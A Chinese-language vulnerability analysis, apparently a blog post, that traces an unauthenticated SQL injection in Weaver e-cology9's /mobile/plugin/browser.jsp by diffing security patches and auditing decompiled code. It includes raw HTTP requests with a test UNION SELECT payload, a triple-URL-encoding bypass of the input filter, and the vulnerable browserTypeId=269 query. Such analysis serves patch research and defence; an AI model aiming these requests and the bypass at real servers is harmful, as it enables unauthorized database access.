泛微e-cology9 browser.jsp SQL注入漏洞分析

2023-02-23，某站发布了一个关于泛微e-cology9 SQL注入的漏洞通告。

如上图所示，根据其说明，受影响的版本范围是<=10.55版本。

另外，他们还提到该漏洞无权限要求，并不是后台洞。

E-COLOGY安全补丁下载网址如下：

https://www.weaver.com.cn/cs/securityDownload.html?src=cn

通过如下两个链接，下载该次漏洞的以及上一个版本的补丁包：

v10.55：

https://www.weaver.com.cn/cs/package/Ecology_security_20221014_v10.55.zip

v10.56：

https://www.weaver.com.cn/cs/package/Ecology_security_20230213_v10.56.zip

将两个补丁压缩包分别解压，然后使用IDEA工具对比差异。

这里对比看了很久，但是却没有看出有价值的内容。

嗯？先了解下web.xml文件中的内容。

在开头存在一个SecurityFilter的过滤器，SecurityFilter在初始化时会调用weaver.security.filter.SecurityMain中的initFilterBean方法初始化安全规则。而在weaver.security.rules.ruleImp包中的每个类差不多就是每次打的补丁，此包中的类将被重点关注。

所以，缩小范围去补丁包的WEB-INF/myclasses/weaver/security/rules/ruleImp目录寻找。并且我们还可以根据文件时间戳，将2022年10月前的补丁文件都排除在外，继续过滤一遍。

security/rules/ruleImp» stat -f %SB----%N *.class | grep -v "2021----" | grep -v -E '^[Jan|Mar|Apr|May|Jul|Aug|Sep].*2022' | wc -l
     125

这样还剩下125个补丁文件，然后通过jadx这款反编译工具一次性打开这些补丁文件，然后搜索Xss(Validate failed关键词，不断寻找，最终找到了一段SQL注入漏洞的补丁代码，下图所框疑似就是本次漏洞的位置。

上图所示的补丁代码，所处如下位置。

$ Ecology_security_20230213_v10.56 » fd SecurityRuleForMobileBrowser
WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForMobileBrowser.class

然而在v10.55补丁包中也同样发现该文件所在，并且是一摸一样的。

$ Ecology_security_20221014_v10.55 » fd SecurityRuleForMobileBrowser
WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForMobileBrowser.class

$ patch » md5 Ecology_security_20230213_v10.56/WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForMobileBrowser.class Ecology_security_20221014_v10.55/WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForMobileBrowser.class | awk -F "=" '{print $2}'
 391d53bb28cffa1bf6974e21eac16b7d
 391d53bb28cffa1bf6974e21eac16b7d

查看这两个文件的时间戳，发现最后修改时间也是一致，都是2022年12月8日。

$ patch » stat -f %SB Ecology_security_20230213_v10.56/WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForMobileBrowser.class Ecology_security_20221014_v10.55/WEB-INF/myclasses/weaver/security/rules/ruleImp/SecurityRuleForMobileBrowser.class
Dec  8 19:55:26 2022
Dec  8 19:55:26 2022

但是在下载v10.55补丁包的时候，通过其下载链接，可以得知此版本补丁包的发布日期是2022年10月14日。是早于其中的SecurityRuleForMobileBrowser.class文件的最后修改时间的。

https://www.weaver.com.cn/cs/package/Ecology_security_20221014_v10.55.zip

在通过关于这个漏洞的通告中的时间线中，大致可以猜测出来，在2022年9月，正值演练期间收到该漏洞，在2022月12月上报给监管单位，监管单位应该是收到了该漏洞就立马通知给厂商，在2022年12月8日厂商就已经开发出本次SQL注入漏洞的补丁代码，也就是SecurityRuleForMobileBrowser.class文件中的内容。但厂商在开发出该漏洞的补丁代码后并未立即发布v10.56补丁包，而是先将其更新至v10.55补丁包中了。

这也就是为什么用IDEA对比v10.55和v10.56补丁包，却一无所获的原因。

那么既然如此，拿v10.54补丁包与v10.56补丁包对比呢？v10.54补丁包下载地址如下：

https://www.weaver.com.cn/cs/package/Ecology_security_20220805_v10.54.zip

如下图所示，确实对比出了该文件存在于V10.56中，而不存在于V10.54中。

虽然通过如上的补丁包对比分析找到了一个疑似的漏洞路径，但是未必就能肯定这是真正的漏洞位置。

我们先来简单看看/mobile/plugin/browser.jsp的内容。

参数很多，继续往下看，发现一个isDis参数及其判断语句。

boolean isDis = "1".equals(Util.null2String(request.getParameter("isDis"))) ? true : false;
if (!isDis) {
	request.getRequestDispatcher("/mobile/plugin/dialog.jsp").forward(request, response);
	return;
}

如果isDis参数值不为1的话，则进入if条件语句之中，RequestDispatcher的作用是将请求分配给另一个资源，后面使用的是forward方法，此处就是将请求转发到/mobile/plugin/dialog.jsp处理。那么就看看/mobile/plugin/dialog.jsp的内容。

发现开头的HrmUserVarify.getUser，该方法部分代码如下：

可以看出此处有个登录判断，根据我们的情况肯定会返回null到dialog.jsp就直接返回空了。死路一条，弃之。

回到上面，现在可以确定的是该参数是必须需要存在的，且参数值还得必须为1。不妨构造一个请求发送看看。

POST /mobile/plugin/browser.jsp HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

isDis=1

与网站放出的测试图相比，是不是就对上了。那么也就能够确定漏洞的路径就是：/mobile/plugin/browser.jsp。

在使用BurpSuite Intruder多个不同的目标时，发现除了200的状态码，还有很多404的，这种情况我们最后再说。

现在继续关注/mobile/plugin/browser.jsp中的内容。刚刚说到对isDis的判断，继续往下看。

String f_weaver_belongto_userid=Util.null2String(request.getParameter("f_weaver_belongto_userid"));//需要增加的代码
String f_weaver_belongto_usertype=Util.null2String(request.getParameter("f_weaver_belongto_usertype"));//需要增加的代码
User user  = HrmUserVarify.getUser(request, response, f_weaver_belongto_userid, f_weaver_belongto_usertype) ;//需要增加的代码

BrowserAction braction = new BrowserAction(user, browserTypeId, pageNo, pageSize);

跟进HrmUserVarify.getUser，代码如下，这里肯定会返回null。

起初这个地方让我感到很迷惑，误以为这个鉴权会被用到，实际并不会用到，这里返回的null作为browser.jsp中的user变量的值，但是在browser.jsp中并未对user做检查。如果需要达到鉴权的效果，那么正确的写法应该是增加如下代码片段：

if(user == null)  return ;

如下图所示，SearchSubDept.jsp正是采用的这种写法。

继续往下，设置了很多参数值，但不过大部分参数都不是必须的。

最后到braction.getBrowserData()方法，这个方法位于classbean/weaver/mobile/webservices/common/BrowserAction.class文件。

最开始有对browserTypeId参数值进行判断，以及很多list开头的方法，接着还对method参数值进行判断，根据不同的值执行不同的list开头的方法，那么注入很大可能就存在某个list开头的方法之中。

先简单尝试注入一下，请求如下：

POST /mobile/plugin/browser.jsp HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

isDis=1&browserTypeId=160&keyword=a%' union select 1,'

可以发现一些与SQL注入相关的敏感关键词（'、select）均被全角化了。那尝试URL编码一下，一层URL编码的请求如下，服务器直接返回500了。

双层URL编码试试，如下图所示，服务器端依旧做了两次URL解码，然后发现'，将其转换成全角字符了，但不过select关键词却没有被全角化。

继续三层URL编码，通过下图可以发现，经过三层编码后的字符串被URL解码两次后顺利到达BrowserAction.getBrowserData()，而在每一个list开头的方法中都有一次URL解码操作，那么就能确保我们的SQL注入payload顺利传递到SQL查询语句中。

下面依次对各个list开头的方法进行审计，最后发现当browserTypeId等于269时，执行的listRemindType()方法中存在一个有回显的SQL注入漏洞。

public void listRemindType() {
    try {
        new MeetingBrowser();
        this.keyword = URLDecoder.decode(this.keyword, "UTF-8");
        if (this.pageInfo.getPageNo() > 0) {
            this.pageInfo.setPageNo(this.pageInfo.getPageNo());
        }

RecordSet var1 = new RecordSet();
String var2 = " select count(0) as count from meeting_remind_type t1 where isuse=1 ";
if (StringUtils.isNotEmpty(this.keyword)) {
var2 = var2 + " and name like '%" + this.keyword + "%'";
}

var1.executeSql(var2);
int var3 = 0;
if (var1.next()) {
var3 = Util.getIntValue(var1.getString("count"), 0);
}

this.pageInfo.setTotalCount(var3);
String var4 = " from meeting_remind_type t1 ";
String var5 = "t1.id as id,t1.name as name";
String var6 = " where isuse=1 ";
if (StringUtils.isNotEmpty(this.keyword)) {
var6 = var6 + " and t1.name like '%" + this.keyword + "%' ";
}

String var7 = "t1.id";
String var8 = "t1.id";
log.info("select " + var5 + var4 + " where " + var6);
this.pageInfo.setResult(this.getLimitPageData(var5, var4, var6, var7, var8, 1, this.pageInfo.getPageNo(), this.pageInfo.getPageSize(), 3));
} catch (Exception var9) {
var9.printStackTrace();
}

}

看到这里就可以直接构造注入payload了，最终注入的效果如下所示。

长按识别二维码关注我